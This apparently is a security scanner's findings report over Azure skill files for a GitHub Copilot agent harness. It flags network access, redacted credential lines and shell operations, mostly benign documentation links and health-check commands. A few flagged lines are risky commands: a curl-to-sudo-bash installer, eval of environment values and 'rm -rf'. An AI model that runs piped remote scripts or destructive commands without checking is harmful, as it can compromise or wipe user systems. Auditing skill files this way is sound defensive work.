harness/github-copilot/skills/azure-compute/workflows/capacity-reservation/references/association-disassociation.md

  • Network accessline 61
    Existing VMSS can be associated using `az vmss update` similarly to VMs. Regional VMSS must be deallocated first. Zonal VMSS can be associated without deallocating, but this is currently a [Preview feature](https://learn.microsoft.com/en-us
  • Network accessline 104
    - [Associate a VM to a Capacity Reservation Group](https://learn.microsoft.com/en-us/azure/virtual-machines/capacity-reservation-associate-vm)
  • Network accessline 105
    - [Remove/disassociate a VM from a Capacity Reservation Group](https://learn.microsoft.com/en-us/azure/virtual-machines/capacity-reservation-remove-vm)
  • Network accessline 106
    - [Remove/disassociate a VMSS from a Capacity Reservation Group](https://learn.microsoft.com/en-us/azure/virtual-machines/capacity-reservation-remove-virtual-machine-scale-set)

harness/github-copilot/skills/azure-compute/workflows/capacity-reservation/references/capacity-reservation-overview.md

  • Network accessline 103
    - [Azure Capacity Reservations documentation](https://learn.microsoft.com/en-us/azure/virtual-machines/capacity-reservation-overview)
  • Network accessline 104
    - [Create a Capacity Reservation](https://learn.microsoft.com/en-us/azure/virtual-machines/capacity-reservation-create)

harness/github-copilot/skills/azure-compute/workflows/essential-machine-management/essential-machine-management.md

  • Network accessline 51
    GET https://management.azure.com/subscriptions/{subscriptionId}/providers/Microsoft.ManagedOps/managedOps/default?api-version=2025-07-28-preview
  • Network accessline 81
    For common EMM issues, refer to the official documentation: - [Troubleshoot Essential Machine Management (Preview)](https://learn.microsoft.com/en-us/azure/operations/configuration-enrollment-troubleshoot)
  • Network accessline 82
    - [Troubleshoot Essential Machine Management (Preview)](https://learn.microsoft.com/en-us/azure/operations/configuration-enrollment-troubleshoot)

harness/github-copilot/skills/azure-compute/workflows/essential-machine-management/references/emm-enable-flow.md

  • Network accessline 33
    az rest --method GET --url "https://graph.microsoft.com/v1.0/me" --query id -o tsv
  • Network accessline 39
    GET https://management.azure.com/subscriptions/{subscriptionId}/providers/Microsoft.Authorization/roleAssignments?api-version=2022-04-01&$filter=assignedTo('{objectId}')
  • Network accessline 47
    GET https://management.azure.com/subscriptions/{subscriptionId}/providers/Microsoft.Authorization/roleDefinitions?api-version=2022-04-01
  • Network accessline 76
    GET https://management.azure.com/subscriptions/{subscriptionId}/providers/Microsoft.Authorization/roleAssignments?api-version=2022-04-01&$filter=assignedTo('{uamiPrincipalId}')

harness/github-copilot/skills/azure-compute/workflows/essential-machine-management/references/emm-overview.md

  • Network accessline 46
    - [Essential Machine Management (Preview)](https://learn.microsoft.com/en-us/azure/operations/configuration-enrollment)
  • Network accessline 47
    - [Troubleshoot EMM](https://learn.microsoft.com/en-us/azure/operations/configuration-enrollment-troubleshoot)

harness/github-copilot/skills/azure-compute/workflows/vm-creator/examples/bicep/README.md

  • Access to secretsline 8
    [Credential-related source omitted]
  • Access to secretsline 13
    [Credential-related source omitted]
  • Access to secretsline 16
    [Credential-related source omitted]
  • Access to secretsline 18
    [Credential-related source omitted]
  • Access to secretsline 21
    [Credential-related source omitted]

harness/github-copilot/skills/azure-compute/workflows/vm-creator/examples/bicep/main.bicep

  • Access to secretsline 139
    [Credential-related source omitted]

harness/github-copilot/skills/azure-compute/workflows/vm-creator/examples/terraform/README.md

  • Access to secretsline 9
    [Credential-related source omitted]
  • Network accessline 14
    MY_IP=$(curl -s ifconfig.me)/32   # your current public IP, locked to /32
  • Access to secretsline 16
    [Credential-related source omitted]
  • Access to secretsline 17
    [Credential-related source omitted]
  • Access to secretsline 51
    [Credential-related source omitted]

harness/github-copilot/skills/azure-compute/workflows/vm-creator/references/delivery-options/github-pr.md

  • Network accessline 7
    1. **Repo** — accept any of:    - `owner/name` (e.g., `myorg/azure-infra`)    - Full URL (e.g., `https://github.com/myorg/azure-infra`)
  • Network accessline 8
    - `owner/name` (e.g., `myorg/azure-infra`)    - Full URL (e.g., `https://github.com/myorg/azure-infra`)    - Local checkout path (e.g., `~/source/azure-infra`) — skips clone
  • Network accessline 9
    - Full URL (e.g., `https://github.com/myorg/azure-infra`)
  • Network accessline 76
    > ✅ Opened PR: https://github.com/myorg/azure-infra/pull/42

harness/github-copilot/skills/azure-compute/workflows/vm-creator/references/delivery-options/save-local.md

  • Access to secretsline 47
    [Credential-related source omitted]

harness/github-copilot/skills/azure-compute/workflows/vm-creator/references/depth-probe/beginner.md

  • Access to secretsline 13
    [Credential-related source omitted]
  • Network accessline 14
    - **VNet:** create new `<vm-name>-vnet` with `10.0.0.0/16` - **Subnet:** `default` with `10.0.0.0/24` - **NSG:** create new, allow SSH 22 (Linux) or RDP 3389 (Windows) from **the user's current public IP** (detect via `curl -s ifconfig.me` 
  • Network accessline 15
    - **Subnet:** `default` with `10.0.0.0/24` - **NSG:** create new, allow SSH 22 (Linux) or RDP 3389 (Windows) from **the user's current public IP** (detect via `curl -s ifconfig.me` or equivalent) — only fall back to `*` if detection fails, 
  • Network accessline 16
    - **NSG:** create new, allow SSH 22 (Linux) or RDP 3389 (Windows) from **the user's current public IP** (detect via `curl -s ifconfig.me` or equivalent) — only fall back to `*` if detection fails, and always flag the chosen source in the Pl

harness/github-copilot/skills/azure-compute/workflows/vm-creator/references/depth-probe/networking-deep.md

  • Network accessline 7
    | VNet | "Existing VNet, or new?" | If existing: ask name + RG; offer to list via `network_vnet_list` MCP or `az network vnet list` | | Subnet sizing | "Subnet CIDR?" | `/24` if new | | NSG | "Inbound rules: default (SSH/RDP from your IP) o
  • Network accessline 8
    | Subnet sizing | "Subnet CIDR?" | `/24` if new | | NSG | "Inbound rules: default (SSH/RDP from your IP) or paste a rule set?" | Restrict source to user's current public IP — fetch via `curl -s ifconfig.me` if not provided | | Public IP | "
  • Network accessline 9
    | NSG | "Inbound rules: default (SSH/RDP from your IP) or paste a rule set?" | Restrict source to user's current public IP — fetch via `curl -s ifconfig.me` if not provided |

harness/github-copilot/skills/azure-compute/workflows/vm-creator/references/output-adapters/az-cli.md

  • Access to secretsline 47
    [Credential-related source omitted]
  • Access to secretsline 54
    [Credential-related source omitted]
  • Access to secretsline 66
    [Credential-related source omitted]

harness/github-copilot/skills/azure-compute/workflows/vm-creator/references/output-adapters/bicep.md

  • Access to secretsline 14
    [Credential-related source omitted]
  • Access to secretsline 18
    [Credential-related source omitted]
  • Access to secretsline 20
    [Credential-related source omitted]
  • Access to secretsline 24
    [Credential-related source omitted]

harness/github-copilot/skills/azure-compute/workflows/vm-creator/references/output-adapters/terraform.md

  • Access to secretsline 18
    [Credential-related source omitted]
  • Access to secretsline 20
    [Credential-related source omitted]

harness/github-copilot/skills/azure-compute/workflows/vm-creator/references/plan-card.md

  • Access to secretsline 32
    [Credential-related source omitted]

harness/github-copilot/skills/azure-compute/workflows/vm-recommender/references/web-fetch-policy.md

  • Network accessline 17
    ## What to fetch (Step 2 — VMSS)
  • Network accessline 20
    https://learn.microsoft.com/azure/virtual-machine-scale-sets/overview
  • Network accessline 21
    https://learn.microsoft.com/azure/virtual-machine-scale-sets/virtual-machine-scale-sets-autoscale-overview
  • Network accessline 24
    ## What to fetch (Step 3 — VM family)
  • Network accessline 27
    https://learn.microsoft.com/azure/virtual-machines/sizes/<family-category>/<series-name>
  • Network accessline 30
    Examples: - B-series: `https://learn.microsoft.com/azure/virtual-machines/sizes/general-purpose/b-family`
  • Network accessline 31
    - B-series: `https://learn.microsoft.com/azure/virtual-machines/sizes/general-purpose/b-family` - D-series: `https://learn.microsoft.com/azure/virtual-machines/sizes/general-purpose/ddsv5-series` - GPU: `https://learn.microsoft.com/azure/vi
  • Network accessline 32
    - D-series: `https://learn.microsoft.com/azure/virtual-machines/sizes/general-purpose/ddsv5-series`
  • Network accessline 33
    - GPU: `https://learn.microsoft.com/azure/virtual-machines/sizes/gpu-accelerated/nc-family`
  • Network accessline 35
    For Spot, also: `https://learn.microsoft.com/azure/virtual-machine-scale-sets/use-spot`.

harness/github-copilot/skills/azure-compute/workflows/vm-recommender/vm-recommender.md

  • Network accessline 56
    https://learn.microsoft.com/en-us/azure/virtual-machines/sizes/<family-category>/<series-name>
  • Network accessline 59
    For Spot eligibility, also fetch `https://learn.microsoft.com/en-us/azure/virtual-machine-scale-sets/use-spot`. If any fetch fails, follow [web-fetch-policy.md](references/web-fetch-policy.md). Same SKUs apply to single VMs and VMSS.
  • Network accessline 101
    - Compare reservation / savings plan pricing (`priceType eq 'Reservation'` in the API) - Suggest [Azure Pricing Calculator](https://azure.microsoft.com/pricing/calculator/) for full estimates
  • Network accessline 102
    - Suggest [Azure Pricing Calculator](https://azure.microsoft.com/pricing/calculator/) for full estimates
  • Network accessline 103
    - For VMSS: [autoscale best practices](https://learn.microsoft.com/azure/azure-monitor/autoscale/autoscale-best-practices), [VMSS networking](https://learn.microsoft.com/azure/virtual-machine-scale-sets/virtual-machine-scale-sets-networking

harness/github-copilot/skills/azure-container-registry-cli/SKILL.md

  • Network accessline 24
    # Install Azure CLI brew install azure-cli curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash
  • Network accessline 25
    brew install azure-cli curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash winget install Microsoft.AzureCLI
  • Dangerous shell operationline 26
    curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash
  • Network accessline 26
    curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash
  • Network accessline 146
    - [Install Azure CLI on Linux](https://aka.ms/InstallAzureCLIDeb)

harness/github-copilot/skills/azure-container-registry-cli/references/build-and-tasks.md

  • Network accessline 32
    # Build directly from a Git repo (no local clone) az acr build --registry {registry} --image app:v1 https://github.com/{org}/{repo}.git#{branch}:{folder}
  • Network accessline 33
    az acr build --registry {registry} --image app:v1 https://github.com/{org}/{repo}.git#{branch}:{folder}
  • Network accessline 59
    az acr task create --registry {registry} --name build-app \   --image "app:{{.Run.ID}}" \   --context https://github.com/{org}/{repo}.git#main \
  • Network accessline 60
    --image "app:{{.Run.ID}}" \   --context https://github.com/{org}/{repo}.git#main \   --file Dockerfile \
  • Network accessline 61
    --context https://github.com/{org}/{repo}.git#main \
  • Network accessline 124
    az acr task create --registry {registry} --name build-test-push \   --file acb.yaml \   --context https://github.com/{org}/{repo}.git#main \
  • Network accessline 125
    --file acb.yaml \   --context https://github.com/{org}/{repo}.git#main \   --git-access-token {pat}
  • Network accessline 126
    --context https://github.com/{org}/{repo}.git#main \

harness/github-copilot/skills/azure-container-registry-cli/references/images-and-artifacts.md

  • Network accessline 148
    az acr credential-set create --registry {registry} --name dockerhub-creds \   --login-server docker.io \   --username-id https://{vault}.vault.azure.net/secrets/dh-user \
  • Network accessline 149
    --login-server docker.io \   --username-id https://{vault}.vault.azure.net/secrets/dh-user \   --password-id https://{vault}.vault.azure.net/secrets/dh-pass
  • Network accessline 150
    --username-id https://{vault}.vault.azure.net/secrets/dh-user \
  • Network accessline 151
    --password-id https://{vault}.vault.azure.net/secrets/dh-pass

harness/github-copilot/skills/azure-container-registry-cli/references/networking-and-geo.md

  • Network accessline 93
    Alternatives that avoid the bypass entirely: run tasks in a VNet-attached agent pool, or run `acr purge` locally with the [acr-cli binary](https://github.com/azure/acr-cli). Tasks using a user-assigned identity are not affected.
  • Network accessline 130
    az acr export-pipeline create --resource-group {rg} --registry {src-registry} \   --name export-pipe \   --secret-uri https://{vault}.vault.azure.net/secrets/{sas-secret} \
  • Network accessline 131
    --name export-pipe \   --secret-uri https://{vault}.vault.azure.net/secrets/{sas-secret} \   --storage-container-uri https://{account}.blob.core.windows.net/{container}
  • Network accessline 132
    --secret-uri https://{vault}.vault.azure.net/secrets/{sas-secret} \
  • Network accessline 133
    --storage-container-uri https://{account}.blob.core.windows.net/{container}
  • Network accessline 136
    az acr import-pipeline create --resource-group {rg} --registry {dst-registry} \   --name import-pipe \   --secret-uri https://{vault}.vault.azure.net/secrets/{sas-secret} \
  • Network accessline 137
    --name import-pipe \   --secret-uri https://{vault}.vault.azure.net/secrets/{sas-secret} \   --storage-container-uri https://{account}.blob.core.windows.net/{container}
  • Network accessline 138
    --secret-uri https://{vault}.vault.azure.net/secrets/{sas-secret} \
  • Network accessline 139
    --storage-container-uri https://{account}.blob.core.windows.net/{container}

harness/github-copilot/skills/azure-cost/cost-forecast/error-handling.md

  • Network accessline 11
    | 424 | Failed Dependency | Bad training data — forecast model cannot compute predictions | Falls back to actual costs if `includeActualCost=true`; otherwise suggest using **the Cost Query workflow (Part 1)** for historical data | | 429 | T
  • Network accessline 13
    | 503 | Service Unavailable | Temporary service issue | Check [Azure Status](https://status.azure.com) for service health. |
  • Network accessline 44
    | 404 | ❌ No | Fix the scope URL — verify subscription, resource group, or billing account IDs | | 424 | ❌ No | Training data issue — retrying will not help. Fall back to actual costs or use **the Cost Query workflow (Part 1)** | | 503 | ❌ 
  • Network accessline 46
    | 503 | ❌ No | Do not retry. Check [Azure Status](https://status.azure.com) for service health. |

harness/github-copilot/skills/azure-cost/cost-forecast/workflow.md

  • Network accessline 117
    | 424 | Bad training data | Insufficient history; falls back to actual costs if available. | | 429 | Rate limited | Check all `x-ms-ratelimit-microsoft.costmanagement-*-retry-after` headers (`qpu`, `entity`, `tenant`). Wait for the **longes
  • Network accessline 119
    | 503 | Service unavailable | Check [Azure Status](https://status.azure.com). |

harness/github-copilot/skills/azure-cost/cost-optimization/auth-best-practices.md

  • Network accessline 3
    > Source: [Microsoft — Passwordless connections for Azure services](https://learn.microsoft.com/azure/developer/intro/passwordless-overview) and [Azure Identity client libraries](https://learn.microsoft.com/dotnet/azure/sdk/authentication/)
  • Network accessline 122
    - [Passwordless connections overview](https://learn.microsoft.com/azure/developer/intro/passwordless-overview)
  • Network accessline 123
    - [Managed identities overview](https://learn.microsoft.com/entra/identity/managed-identities-azure-resources/overview)
  • Network accessline 124
    - [Azure RBAC overview](https://learn.microsoft.com/azure/role-based-access-control/overview)
  • Network accessline 125
    - [.NET authentication guide](https://learn.microsoft.com/dotnet/azure/sdk/authentication/)
  • Network accessline 126
    - [Python identity library](https://learn.microsoft.com/python/api/overview/azure/identity-readme)
  • Network accessline 127
    - [JavaScript identity library](https://learn.microsoft.com/javascript/api/overview/azure/identity-readme)
  • Network accessline 128
    - [Java identity library](https://learn.microsoft.com/java/api/overview/azure/identity-readme)

harness/github-copilot/skills/azure-cost/cost-optimization/azure-aks-anomalies.md

  • Network accessline 12
    az rest --method post \   --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.CostManagement/query?api-version=2023-11-01" \
  • Network accessline 13
    --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.CostManagement/query?api-version=2023-11-01" \

harness/github-copilot/skills/azure-cost/cost-optimization/report-template.md

  • Network accessline 56
    https://portal.azure.com/#@<TENANT_ID>/resource/subscriptions/<SUBSCRIPTION_ID>/resourceGroups/<RESOURCE_GROUP>/providers/<RESOURCE_PROVIDER>/<RESOURCE_TYPE>/<RESOURCE_NAME>/overview

harness/github-copilot/skills/azure-cost/cost-optimization/services/storage/azure-storage.md

  • Network accessline 185
    Always validate from [official pricing](https://azure.microsoft.com/pricing/details/storage/blobs/).

harness/github-copilot/skills/azure-cost/cost-optimization/workflow.md

  • Network accessline 168
    **Key services to validate:** - Container Apps: https://azure.microsoft.com/pricing/details/container-apps/
  • Network accessline 169
    - Container Apps: https://azure.microsoft.com/pricing/details/container-apps/
  • Network accessline 170
    - Virtual Machines: https://azure.microsoft.com/pricing/details/virtual-machines/
  • Network accessline 171
    - App Service: https://azure.microsoft.com/pricing/details/app-service/
  • Network accessline 172
    - Log Analytics: https://azure.microsoft.com/pricing/details/monitor/

harness/github-copilot/skills/azure-cost/cost-query/error-handling.md

  • Network accessline 12
    | 404 | `NotFound` | Scope does not exist, subscription not found, or resource group does not exist. | Verify the scope URL. Confirm the subscription ID and resource group name are correct. | | 429 | `TooManyRequests` | Rate limit exceeded.
  • Network accessline 14
    | 503 | `ServiceUnavailable` | Cost Management service is temporarily unavailable. | Check [Azure Status](https://status.azure.com) for service health. |
  • Network accessline 37
    | 403 | ❌ No | Fix permissions. Request appropriate RBAC role assignment on the scope. | | 404 | ❌ No | Fix the scope URL. Verify resource exists. | | 503 | ❌ No | Do not retry. Check [Azure Status](https://status.azure.com) for service hea
  • Network accessline 38
    | 404 | ❌ No | Fix the scope URL. Verify resource exists. | | 503 | ❌ No | Do not retry. Check [Azure Status](https://status.azure.com) for service health. | | 5xx (other) | ❌ No | Do not retry. Investigate the error and check service healt
  • Network accessline 39
    | 503 | ❌ No | Do not retry. Check [Azure Status](https://status.azure.com) for service health. |

harness/github-copilot/skills/azure-cost/cost-query/request-body-schema.md

  • Network accessline 3
    Schema for the [Cost Management Query API](https://learn.microsoft.com/en-us/rest/api/cost-management/query/usage).

harness/github-copilot/skills/azure-cost/cost-query/workflow.md

  • Network accessline 137
    | 404 | Scope not found | Verify scope URL and resource IDs. | | 429 | Too many requests | Check all `x-ms-ratelimit-microsoft.costmanagement-*-retry-after` headers (`qpu`, `entity`, `tenant`). Wait for the **longest** value. **Max 3 retrie
  • Network accessline 139
    | 503 | Service unavailable | Check [Azure Status](https://status.azure.com). |

harness/github-copilot/skills/azure-deploy/SKILL.md

  • Network accessline 45
    > **APIM / AI Gateway**: Use this skill to deploy applications whose APIM/AI gateway infrastructure was already created during **azure-prepare**. For creating or changing APIM resources, see [APIM deployment guide](https://learn.microsoft.c
  • Network accessline 68
    | 8 | **Verify Success** — Confirm deployment completed and endpoints are accessible | [Verification](references/recipes/azd/verify.md) | | 9 | **Live Role Verification** — Query Azure to confirm provisioned RBAC roles are correct and suffi
  • Network accessline 70
    | 10 | **Report Results** — Present deployed endpoint URLs to the user as fully-qualified `https://` links | [Verification](references/recipes/azd/verify.md) |
  • Network accessline 72
    > **⛔ URL FORMAT RULE** > > When presenting endpoint URLs to the user, you **MUST** always use fully-qualified URLs with the `https://` scheme (e.g. `https://myapp.azurewebsites.net`, not `myapp.azurewebsites.net`). Many Azure CLI commands 
  • Network accessline 74
    > When presenting endpoint URLs to the user, you **MUST** always use fully-qualified URLs with the `https://` scheme (e.g. `https://myapp.azurewebsites.net`, not `myapp.azurewebsites.net`). Many Azure CLI commands return bare hostnames with

harness/github-copilot/skills/azure-deploy/references/auth-best-practices.md

  • Network accessline 3
    > Source: [Microsoft — Passwordless connections for Azure services](https://learn.microsoft.com/azure/developer/intro/passwordless-overview) and [Azure Identity client libraries](https://learn.microsoft.com/dotnet/azure/sdk/authentication/)
  • Network accessline 122
    - [Passwordless connections overview](https://learn.microsoft.com/azure/developer/intro/passwordless-overview)
  • Network accessline 123
    - [Managed identities overview](https://learn.microsoft.com/entra/identity/managed-identities-azure-resources/overview)
  • Network accessline 124
    - [Azure RBAC overview](https://learn.microsoft.com/azure/role-based-access-control/overview)
  • Network accessline 125
    - [.NET authentication guide](https://learn.microsoft.com/dotnet/azure/sdk/authentication/)
  • Network accessline 126
    - [Python identity library](https://learn.microsoft.com/python/api/overview/azure/identity-readme)
  • Network accessline 127
    - [JavaScript identity library](https://learn.microsoft.com/javascript/api/overview/azure/identity-readme)
  • Network accessline 128
    - [Java identity library](https://learn.microsoft.com/java/api/overview/azure/identity-readme)

harness/github-copilot/skills/azure-deploy/references/global-rules.md

  • Dangerous shell operationline 13
    | **Delete** | `az group delete`, `azd down`, `rm -rf`, delete resource |

harness/github-copilot/skills/azure-deploy/references/recipes/azcli/verify.md

  • Network accessline 10
    curl -s https://<endpoint>/health | jq .
  • Network accessline 39
    # Container Apps FQDN=$(az containerapp show --name <app-name> --resource-group <rg-name> --query "properties.configuration.ingress.fqdn" -o tsv) echo "https://$FQDN"
  • Network accessline 41
    echo "https://$FQDN"
  • Network accessline 43
    # App Service HOSTNAME=$(az webapp show --name <app-name> --resource-group <rg-name> --query "defaultHostName" -o tsv) echo "https://$HOSTNAME"
  • Network accessline 45
    echo "https://$HOSTNAME"
  • Network accessline 47
    # Static Web Apps HOSTNAME=$(az staticwebapp show --name <app-name> --resource-group <rg-name> --query "defaultHostname" -o tsv) echo "https://$HOSTNAME"
  • Network accessline 49
    echo "https://$HOSTNAME"
  • Network accessline 54
    # Container Apps $Fqdn = az containerapp show --name <app-name> --resource-group <rg-name> --query "properties.configuration.ingress.fqdn" -o tsv Write-Output "https://$Fqdn"
  • Network accessline 56
    Write-Output "https://$Fqdn"
  • Network accessline 58
    # App Service $Hostname = az webapp show --name <app-name> --resource-group <rg-name> --query "defaultHostName" -o tsv Write-Output "https://$Hostname"
  • Network accessline 60
    Write-Output "https://$Hostname"
  • Network accessline 62
    # Static Web Apps $Hostname = az staticwebapp show --name <app-name> --resource-group <rg-name> --query "defaultHostname" -o tsv Write-Output "https://$Hostname"
  • Network accessline 64
    Write-Output "https://$Hostname"
  • Network accessline 67
    > ⚠<U+FE0F> **These commands return bare hostnames without a scheme.** Always prepend `https://` when presenting URLs to the user. For example, report `https://myapp.azurewebsites.net`, never `myapp.azurewebsites.net`.
  • Network accessline 69
    Present a summary including all service URLs as fully-qualified `https://` links. Do NOT end your response without including them.

harness/github-copilot/skills/azure-deploy/references/recipes/azd/ef-migrations.md

  • Network accessline 146
    - [SQL Managed Identity Access](sql-managed-identity.md) - [Post-Deployment Guide](post-deployment.md) - [EF Core Migrations](https://learn.microsoft.com/ef/core/managing-schemas/migrations/)
  • Network accessline 148
    - [EF Core Migrations](https://learn.microsoft.com/ef/core/managing-schemas/migrations/)

harness/github-copilot/skills/azure-deploy/references/recipes/azd/functions-deploy.md

  • Network accessline 73
    # Check status code only (GET, don't follow redirects) curl -s -o /dev/null -w "%{http_code}" "https://<func-name>.azurewebsites.net/api/<route>"
  • Network accessline 74
    curl -s -o /dev/null -w "%{http_code}" "https://<func-name>.azurewebsites.net/api/<route>"
  • Network accessline 76
    # Get status code and redirect URL curl -s -o /dev/null -w "Status: %{http_code}\nRedirect: %{redirect_url}" "https://<func-name>.azurewebsites.net/api/<route>"
  • Network accessline 77
    curl -s -o /dev/null -w "Status: %{http_code}\nRedirect: %{redirect_url}" "https://<func-name>.azurewebsites.net/api/<route>"
  • Network accessline 79
    # Verbose output showing response headers (GET) curl -sS -D - -o /dev/null "https://<func-name>.azurewebsites.net/api/<route>"
  • Network accessline 80
    curl -sS -D - -o /dev/null "https://<func-name>.azurewebsites.net/api/<route>"
  • Network accessline 86
    # DO NOT use this — returns 404 even when the function works curl -I "https://<func-name>.azurewebsites.net/api/<route>"
  • Network accessline 87
    curl -I "https://<func-name>.azurewebsites.net/api/<route>"

harness/github-copilot/skills/azure-deploy/references/recipes/azd/post-deployment.md

  • Dangerous shell operationline 38
    eval $(azd env get-values)
  • Network accessline 78
    # Health check curl -f "$ENDPOINT/health" || echo "Health check failed"
  • Network accessline 79
    curl -f "$ENDPOINT/health" || echo "Health check failed"
  • Network accessline 81
    # Test database connectivity curl -f "$ENDPOINT/api/test-db" || echo "Database connection failed"
  • Network accessline 82
    curl -f "$ENDPOINT/api/test-db" || echo "Database connection failed"

harness/github-copilot/skills/azure-deploy/references/recipes/azd/scripts/apply-migrations.ps1

  • Executable scriptline 1
    Executable file

harness/github-copilot/skills/azure-deploy/references/recipes/azd/scripts/apply-migrations.sh

  • Executable scriptline 1
    #!/bin/bash

harness/github-copilot/skills/azure-deploy/references/recipes/azd/scripts/grant-and-migrate.ps1

  • Executable scriptline 1
    Executable file

harness/github-copilot/skills/azure-deploy/references/recipes/azd/scripts/grant-and-migrate.sh

  • Executable scriptline 1
    #!/bin/bash

harness/github-copilot/skills/azure-deploy/references/recipes/azd/sql-managed-identity.md

  • Dangerous shell operationline 16
    eval $(azd env get-values)
  • Dangerous shell operationline 83
    eval $(azd env get-values)
  • Dangerous shell operationline 171
    eval $(azd env get-values)

harness/github-copilot/skills/azure-deploy/references/recipes/azd/verify.md

  • Network accessline 14
    Resource Group: rg-myapp-dev   Services:     api - Endpoint: https://api-xxxx.azurecontainerapps.io
  • Network accessline 16
    api - Endpoint: https://api-xxxx.azurecontainerapps.io
  • Network accessline 25
    # Test endpoint curl -f "$ENDPOINT/health" || curl -f "$ENDPOINT"
  • Network accessline 26
    curl -f "$ENDPOINT/health" || curl -f "$ENDPOINT"
  • Network accessline 66
    | Service | Endpoint | |---------|----------| | apiservice | https://apiservice.xxx.azurecontainerapps.io |
  • Network accessline 68
    | apiservice | https://apiservice.xxx.azurecontainerapps.io |
  • Network accessline 70
    Aspire Dashboard: https://aspire-dashboard.xxx.azurecontainerapps.io
  • Network accessline 73
    > ⚠<U+FE0F> **Always use fully-qualified URLs with the `https://` scheme.** If a command returns a bare hostname (e.g. `myapp.azurestaticapps.net`), prepend `https://` before presenting it to the user.
  • Dangerous shell operationline 85
    eval $(azd env get-values)

harness/github-copilot/skills/azure-deploy/references/recipes/bicep/verify.md

  • Network accessline 18
    curl -s https://<endpoint>/health | jq .
  • Network accessline 31
    Present a summary including all service URLs as fully-qualified `https://` links. If a deployment output returns a bare hostname (e.g. `myapp.azurewebsites.net`), always prepend `https://`. Do NOT end your response without including them.

harness/github-copilot/skills/azure-deploy/references/recipes/cicd/verify.md

  • Network accessline 16
    curl -s https://<endpoint>/health | jq .
  • Network accessline 23
    Extract endpoints from the pipeline output or query them directly via `az` CLI. Present a summary including all service URLs as fully-qualified `https://` links. If any command returns a bare hostname (e.g. `myapp.azurewebsites.net`), alway

harness/github-copilot/skills/azure-deploy/references/recipes/terraform/README.md

  • Access to secretsline 18
    [Credential-related source omitted]

harness/github-copilot/skills/azure-deploy/references/recipes/terraform/errors.md

  • Access to secretsline 10
    [Credential-related source omitted]

harness/github-copilot/skills/azure-deploy/references/recipes/terraform/verify.md

  • Network accessline 11
    curl -s https://$(terraform output -raw api_url)/health | jq .
  • Network accessline 30
    Present a summary including all service URLs as fully-qualified `https://` links. If a Terraform output returns a bare hostname (e.g. `myapp.azurewebsites.net`), always prepend `https://`. Do NOT end your response without including them.

harness/github-copilot/skills/azure-deploy/references/region-availability.md

  • Network accessline 3
    > **AUTHORITATIVE SOURCE** — Consult this file BEFORE recommending any region. > > Official reference: https://azure.microsoft.com/en-us/explore/global-infrastructure/products-by-region/table
  • Network accessline 5
    > Official reference: https://azure.microsoft.com/en-us/explore/global-infrastructure/products-by-region/table
  • Network accessline 65
    > Check https://learn.microsoft.com/azure/ai-services/openai/concepts/models for current model availability.

harness/github-copilot/skills/azure-deploy/references/sdk/azd-deployment.md

  • Access to secretsline 25
    [Credential-related source omitted]

harness/github-copilot/skills/azure-deploy/references/troubleshooting.md

  • Network accessline 114
    {   "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentParameters.json#",
  • Network accessline 115
    "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentParameters.json#",
  • Network accessline 134
    **Reference:** [Use environment variables in infrastructure files](https://learn.microsoft.com/azure/developer/azure-developer-cli/manage-environment-variables?tabs=bash#use-environment-variables-in-infrastructure-files)

harness/github-copilot/skills/azure-deployment-preflight/SKILL.md

  • Access to secretsline 35
    [Credential-related source omitted]

harness/github-copilot/skills/azure-deployment-preflight/references/ERROR-HANDLING.md

  • Network accessline 35
    - **Message:** Not logged in to Azure CLI - **Remediation:** Run `az login` to authenticate, then re-run preflight validation - **Documentation:** https://learn.microsoft.com/en-us/cli/azure/authenticate-azure-cli
  • Network accessline 37
    - **Documentation:** https://learn.microsoft.com/en-us/cli/azure/authenticate-azure-cli
  • Network accessline 166
    - **Message:** Found unexpected tokens in interpolated expression - **Remediation:** Check the string interpolation syntax at line 22 - **Documentation:** https://learn.microsoft.com/en-us/azure/azure-resource-manager/bicep/bicep-core-diagn
  • Network accessline 168
    - **Documentation:** https://learn.microsoft.com/en-us/azure/azure-resource-manager/bicep/bicep-core-diagnostics#bcp064
  • Network accessline 211
    2. Provide installation instructions.   - If available use the Azure MCP `extension_cli_install` tool to get installation instructions.   - Otherwise look for instructions at https://learn.microsoft.com/en-us/cli/azure/install-azure-cli.
  • Network accessline 212
    - If available use the Azure MCP `extension_cli_install` tool to get installation instructions.   - Otherwise look for instructions at https://learn.microsoft.com/en-us/cli/azure/install-azure-cli. 3. Skip az commands
  • Network accessline 213
    - Otherwise look for instructions at https://learn.microsoft.com/en-us/cli/azure/install-azure-cli.
  • Network accessline 245
    - **Source:** environment - **Message:** Bicep CLI is not installed - **Remediation:** Install Bicep CLI: https://learn.microsoft.com/en-us/azure/azure-resource-manager/bicep/install
  • Network accessline 246
    - **Message:** Bicep CLI is not installed - **Remediation:** Install Bicep CLI: https://learn.microsoft.com/en-us/azure/azure-resource-manager/bicep/install - **Impact:** Syntax validation was skipped; Azure will validate during what-if
  • Network accessline 247
    - **Remediation:** Install Bicep CLI: https://learn.microsoft.com/en-us/azure/azure-resource-manager/bicep/install

harness/github-copilot/skills/azure-deployment-preflight/references/VALIDATION-COMMANDS.md

  • Network accessline 297
    {   "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentParameters.json#",
  • Network accessline 298
    "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentParameters.json#",
  • Access to secretsline 310
    [Credential-related source omitted]

harness/github-copilot/skills/azure-developer-cli/examples/azure.yaml

  • Network accessline 1
    # yaml-language-server: $schema=https://raw.githubusercontent.com/Azure/azure-dev/main/schemas/v1.0/azure.yaml.json

harness/github-copilot/skills/azure-developer-cli/references/iac-and-environments.md

  • Network accessline 63
    {   "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentParameters.json#",
  • Network accessline 64
    "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentParameters.json#",
  • Access to secretsline 147
    [Credential-related source omitted]

harness/github-copilot/skills/azure-developer-cli/references/official-docs.md

  • Network accessline 7
    - [Azure Developer CLI documentation](https://learn.microsoft.com/en-us/azure/developer/azure-developer-cli/)
  • Network accessline 8
